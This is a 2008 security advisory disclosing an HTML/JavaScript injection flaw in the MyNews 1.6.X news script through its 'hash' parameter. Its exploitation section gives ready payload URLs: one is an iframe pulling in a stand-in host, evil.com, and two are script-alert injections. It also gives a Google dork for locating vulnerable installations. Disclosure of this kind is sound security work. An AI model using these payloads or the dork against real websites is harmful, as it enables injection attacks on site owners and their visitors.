____________________________________________________________________________
____________________________________________________________________________

01010111 01001001 01010010 01000101 01000100  01010011 ->
01000101 01000011 01010101 01010010 01001001  01010100 ->
01011001                                                      

____________________________________________________________________________
ADVISORY: MyNews 1.6.X HTML/JS Injection Vulnerability
____________________________________________________________________________

_____________________
|| 0x00: ABOUT ME
|| 0x01: DATELINE
|| 0x02: INFORMATION
|| 0x03: EXPLOITATION
|| 0x04: GOOGLE DORK
|| 0x05: RISK LEVEL

____________________________________________________________
____________________________________________________________

_________________
|| 0x00: ABOUT ME

Author: SkyOut
Date: February 2008
Website: http://wired-security.net/

_________________
|| 0x01: DATELINE

2008-02-06: Bug found
2008-02-06: Advisory released

____________________
|| 0x02: INFORMATION

The MyNews script by planetluc.com in all versions of the 1.6.X tree is
vulnerable to HTML and JS injection due to no sanitation of the "hash"
value in combination with the action "admin".

_____________________
|| 0x03: EXPLOITATION

No exploit is needed to test this vulnerability. You just need a working
web browser.

1: HTML Injection

To make a HTML injectioni, visit the websites main page. The name might differ
from the original name "mynews.inc.php", mostly its called "index.php". Now
construct a malformed URL as follows:

http://www.example.com/index.php?hash="><iframe src=http://www.evil.com/ height=500px width=500px></iframe><!--&do=admin

Of course you can manipulate the values of "height" and "width" like you
want to. Do it the way it best fits to your needs!

2: JavaScript Injection

JS injection is similar to HTML injection, just that you put a JS code
in the "hash" parameter. Let me show you two examples:

http://www.example.com/index.php?hash="><script>alert(1337);</script><!--&do=admin

or

http://www.example.com/index.php?hash="><script>alert("XSS");</script><!--&do=admin

Sometimes using strings doesn't work, so test it first!

____________________
|| 0x04: GOOGLE DORK

intext:"powered by MyNews 1.6.*"

___________________
|| 0x05: RISK LEVEL

- LOW - (1/3) -

<!> Happy Hacking <!>

____________________________________________________________________________
____________________________________________________________________________

EOF